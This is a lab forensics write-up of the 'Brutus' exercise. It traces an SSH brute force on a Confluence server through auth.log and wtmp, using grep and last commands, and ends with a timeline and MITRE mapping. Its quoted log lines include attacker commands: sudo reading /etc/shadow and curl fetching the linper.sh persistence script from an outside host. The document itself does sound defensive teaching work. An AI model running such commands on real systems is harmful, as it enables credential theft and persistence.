Brutus
Credit
IppSec click here. This is my first machine, so I needed guidance and used his walkthrough as reference. This writeup follows the approach he teaches, especially command line parsing with regex and the way he analyzes challenges. For other machines I may use a similar approach while I build my own methodology.
Scenario
A Confluence server was brute forced over SSH. Two artifacts are provided.
auth.log
wtmp
The goal is to confirm brute force, identify the compromised account, trace persistence, and document post-compromise actions.
Artifact Selection and Relevance
This investigation relies on two primary artifacts to reconstruct the attack timeline. First, /var/log/auth.log serves as the definitive record for authentication events, capturing SSH login attempts (both failed and successful), sudo command execution, and user account manipulation. This is our primary source for identifying the brute force vector and subsequent privilege escalation. Second, /var/log/wtmp provides the binary session ledger, which is critical for verifying when interactive shells were actually opened and closed. While auth.log tells us who authenticated, wtmp confirms when they were active in the system. Correlating these two sources allows us to distinguish between simple automated scripts and actual hands on keyboard persistence.
Artifact fields
auth.log fields
- Date and time
- Hostname
- Program name and PID
- User
- Status and message
- Source IP or hostname
wtmp fields as shown by last
- Username
- Terminal
- Source IP or hostname
- Login time
- Logout time
- Duration
Artifact fields and caveats
auth.log fields
- Date and time
- Hostname
- Program name and PID
- User
- Status and message
- Source IP or hostname
wtmp fields as shown by last
- Username
- Terminal
- Source IP or hostname
- Login time
- Logout time
- Duration
Skills learned and tags
Skills learned: Unix log analysis, wtmp analysis, brute force activity analysis, timeline creation, contextual analysis, post exploitation analysis.
Tags: #LinuxForensics #DFIR
Field notes
auth.log format is timestamp, host, program PID, message. The program name is the fastest pivot.
sshd tracks access
useradd and usermod track persistence
sudo tracks commands
systemd-logind tracks sessions
utmpdump is verbose and noisy. last gives cleaner output.
Timezone note
Investigation
Step 1: Establish session context in wtmp
-> TZ=utc last -f wtmp
cyberjun pts/1 65.2.161.68 Wed Mar 6 06:37 gone - no logout
root pts/1 65.2.161.68 Wed Mar 6 06:32 - 06:37 (00:04)
root pts/0 203.101.190.9 Wed Mar 6 06:19 gone - no logout
reboot system boot 6.2.0-1018-aws Wed Mar 6 06:17 still running
root pts/1 203.101.190.9 Sun Feb 11 10:54 - 11:08 (00:13)
root pts/1 203.101.190.9 Sun Feb 11 10:41 - 10:41 (00:00)
root pts/0 203.101.190.9 Sun Feb 11 10:33 - 11:08 (00:34)
root pts/0 203.101.190.9 Thu Jan 25 11:15 - 12:34 (01:18)
ubuntu pts/0 203.101.190.9 Thu Jan 25 11:13 - 11:15 (00:01)
reboot system boot 6.2.0-1017-aws Thu Jan 25 11:12 - 11:09 (16+23:57)
wtmp begins Thu Jan 25 11:12:17 2024
Purpose: Set a baseline for who logged in, from where, and how long the sessions lasted.
Logic: Reads the wtmp session ledger in UTC so login windows are visible and comparable.
What this proves: An external IP has a short root session that needs explanation in auth.log.
Next: enumerate auth.log sources so later filtering is targeted.
Step 2: Identify event sources in auth.log
-> awk '{print $5}' auth.log | sed 's/[\[\:].*//g' | sort | uniq -c
1 chfn
104 CRON
3 groupadd
1 passwd
257 sshd
6 sudo
2 systemd
8 systemd-logind
1 useradd
2 usermod
Purpose: See which programs are writing to auth.log before filtering.
Logic: Extracts program names, normalizes them, then counts frequency.
What this proves: sshd, useradd, usermod, sudo, and systemd-logind are the key pivots.
Next: check for account creation events tied to persistence.
Step 3: Confirm persistence via account creation
-> grep useradd auth.log
Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Purpose: Identify whether a new backdoor user was created.
Logic: Filters auth.log for useradd events that record new account creation.
What this proves: The attacker created cyberjunkie from an interactive terminal session.
Next: capture the exact UTC login window for the root session.
Step 4: Get exact interactive login times
-> TZ=utc last -f wtmp -F
cyberjun pts/1 65.2.161.68 Wed Mar 6 06:37:35 2024 gone - no logout
root pts/1 65.2.161.68 Wed Mar 6 06:32:45 2024 - Wed Mar 6 06:37:24 2024 (00:04)
root pts/0 203.101.190.9 Wed Mar 6 06:19:55 2024 gone - no logout
reboot system boot 6.2.0-1018-aws Wed Mar 6 06:17:15 2024 still running
root pts/1 203.101.190.9 Sun Feb 11 10:54:27 2024 - Sun Feb 11 11:08:04 2024 (00:13)
root pts/1 203.101.190.9 Sun Feb 11 10:41:11 2024 - Sun Feb 11 10:41:46 2024 (00:00)
root pts/0 203.101.190.9 Sun Feb 11 10:33:49 2024 - Sun Feb 11 11:08:04 2024 (00:34)
root pts/0 203.101.190.9 Thu Jan 25 11:15:40 2024 - Thu Jan 25 12:34:34 2024 (01:18)
ubuntu pts/0 203.101.190.9 Thu Jan 25 11:13:58 2024 - Thu Jan 25 11:15:12 2024 (00:01)
reboot system boot 6.2.0-1017-aws Thu Jan 25 11:12:17 2024 - Sun Feb 11 11:09:18 2024 (16+23:57)
wtmp begins Thu Jan 25 11:12:17 2024
Purpose: Pin the exact UTC login and logout time for the root session.
Logic: Uses full timestamps so session windows can be aligned to auth.log events.
What this proves: The root session started at 06:32:45 UTC and ended at 06:37:24 UTC.
Next: pivot into auth.log around 06:37 to see what closed the session.
Step 5: Pivot on a critical time window
-> grep 06:37 auth.log
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: pam_unix(sshd:session): session opened for user cyberjunkie(uid=1002) by (uid=0)
Mar 6 06:37:34 ip-172-31-35-28 systemd-logind[411]: New session 49 of user cyberjunkie.
Mar 6 06:37:34 ip-172-31-35-28 systemd: pam_unix(systemd-user:session): session opened for user cyberjunkie(uid=1002) by (uid=0)
Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user roo
Purpose: Capture session close, new login, and immediate post compromise actions.
Logic: Filters auth.log around the root session end time to surface related events.
What this proves: The attacker closed the root session and logged in as cyberjunkie, then used sudo.
Next: count IPs to isolate the brute force source.
Step 6: Identify brute force source IP
Includes host IP.
-> grep -oP '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' auth.log | uniq -c | sort
1 172.31.35.28
1 203.101.190.9
210 65.2.161.68
4 65.2.161.68
Purpose: Get a rough count of all IPs present in the log.
Logic: Extracts any IPv4 pattern, then counts frequency without removing host noise.
What this proves: One external IP appears far more often than the rest, but host IPs still appear.
Message IPs only by matching a leading space.-> grep -oP ' [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' auth.log | uniq -c | sort 1 203.101.190.9 165 65.2.161.68Purpose: Isolate only remote source IPs that appear in log messages.
Logic: Requires a leading space so host fields are excluded and only message IPs remain.
What this proves: 65.2.161.68 is the dominant external IP and the likely brute force source.
Next: confirm it generated repeated authentication failures.
Step 7: Prove brute force behavior
-> grep 65.2.161.68 auth.log | grep "Failed"
Mar 6 06:31:33 ip-172-31-35-28 sshd[2327]: Failed password for invalid user admin from 65.2.161.68 port 46392 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2331]: Failed password for invalid user admin from 65.2.161.68 port 46436 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2332]: Failed password for invalid user admin from 65.2.161.68 port 46444 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2335]: Failed password for invalid user admin from 65.2.161.68 port 46460 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2337]: Failed password for invalid user admin from 65.2.161.68 port 46498 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2334]: Failed password for invalid user admin from 65.2.161.68 port 46454 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2338]: Failed password for invalid user backup from 65.2.161.68 port 46512 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2336]: Failed password for invalid user backup from 65.2.161.68 port 46468 ssh2
Purpose: Show repeated login failures tied to the suspected IP.
Logic: Filters for the source IP and keeps only failed authentication lines.
What this proves: The IP attempted many invalid logins in a short window, consistent with brute force.
Next: confirm a successful login from the same IP.
Step 8: Confirm successful compromise
-> grep 65.2.161.68 auth.log | grep -A3 "Accepted"
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar 6 06:31:40 ip-172-31-35-28 sshd[2379]: Received disconnect from 65.2.161.68 port 46698:11: Bye Bye [preauth]
Mar 6 06:31:40 ip-172-31-35-28 sshd[2379]: Disconnected from invalid user server_adm 65.2.161.68 port 46698 [preauth]
Mar 6 06:31:40 ip-172-31-35-28 sshd[2380]: Received disconnect from 65.2.161.68 port 46710:11: Bye Bye [preauth]
--
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
Purpose: Link the brute force source to a successful root login.
Logic: Filters for accepted authentication lines from the same IP, including nearby context.
What this proves: A successful root login followed repeated failures and closed quickly, which fits automated brute force and not a normal interactive login.
Next: map the root login to its session number in systemd logind.
Step 9: Correlate authentication to session ID
-> grep systemd-logind auth.log
Mar 6 06:19:54 ip-172-31-35-28 systemd-logind[411]: New session 6 of user root.
Mar 6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
Mar 6 06:31:40 ip-172-31-35-28 systemd-logind[411]: Session 34 logged out. Waiting for processes to exit.
Mar 6 06:31:40 ip-172-31-35-28 systemd-logind[411]: Removed session 34.
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.
Mar 6 06:37:34 ip-172-31-35-28 systemd-logind[411]: New session 49 of user cyberjunkie.
Purpose: Tie the root authentication to its session ID.
Logic: Filters for systemd-logind events that record session creation and removal.
What this proves: The attacker session ID for root is 37.
Next: confirm how the new account was given admin privileges.
Step 10: Confirm privilege escalation
-> grep usermod auth.log
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Purpose: Verify how the persistence account gained elevated rights.
Logic: Filters for usermod events that change group membership.
What this proves: cyberjunkie was added to sudo, granting administrative access.
Next: extract the exact commands run with sudo.
Step 11: Identify attacker commands
-> grep sudo auth.log
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar 6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Purpose: Recover the exact post compromise commands executed with sudo.
Logic: Filters sudo audit lines that include the full command string.
What this proves: The attacker accessed /etc/shadow and downloaded linper.sh via curl.
Next: summarize the findings, timeline, and MITRE mappings.
Findings and indicators
| Type | Value | Context |
|---|---|---|
| Attacker IP | 65.2.161.68 | Source of brute force attempts |
| Compromised user | root | Account successfully accessed |
| Persistence user | cyberjunkie | Rogue account created by attacker, UID 1002 |
| Malicious file | linper.sh | Enumeration script fetched with curl |
| Initial login | 2024-03-06 06:32:45 UTC | Interactive session start in wtmp |
Forensic timeline UTC
| Timestamp | Event | Technical detail |
|---|---|---|
| 06:31:33 | Brute force | Failed logins from 65.2.161.68 |
| 06:32:44 | Compromise | Accepted password for root |
| 06:32:45 | Interactive session | Root session starts in wtmp |
| 06:34:18 | Persistence | useradd creates cyberjunkie |
| 06:35:15 | Privilege change | usermod adds cyberjunkie to sudo |
| 06:37:24 | Session end | Session 37 ends for root |
| 06:37:34 | Backdoor login | cyberjunkie login from 65.2.161.68 |
| 06:37:57 | Credential access | sudo cat /etc/shadow |
| 06:39:38 | Tool transfer | sudo curl downloads linper.sh |
MITRE ATT&CK mapping
| Technique | Summary |
|---|---|
| T1136.001 | Create Account for persistence |
| T1098 | Account Manipulation via sudo group membership |
| T1105 | Ingress Tool Transfer via curl |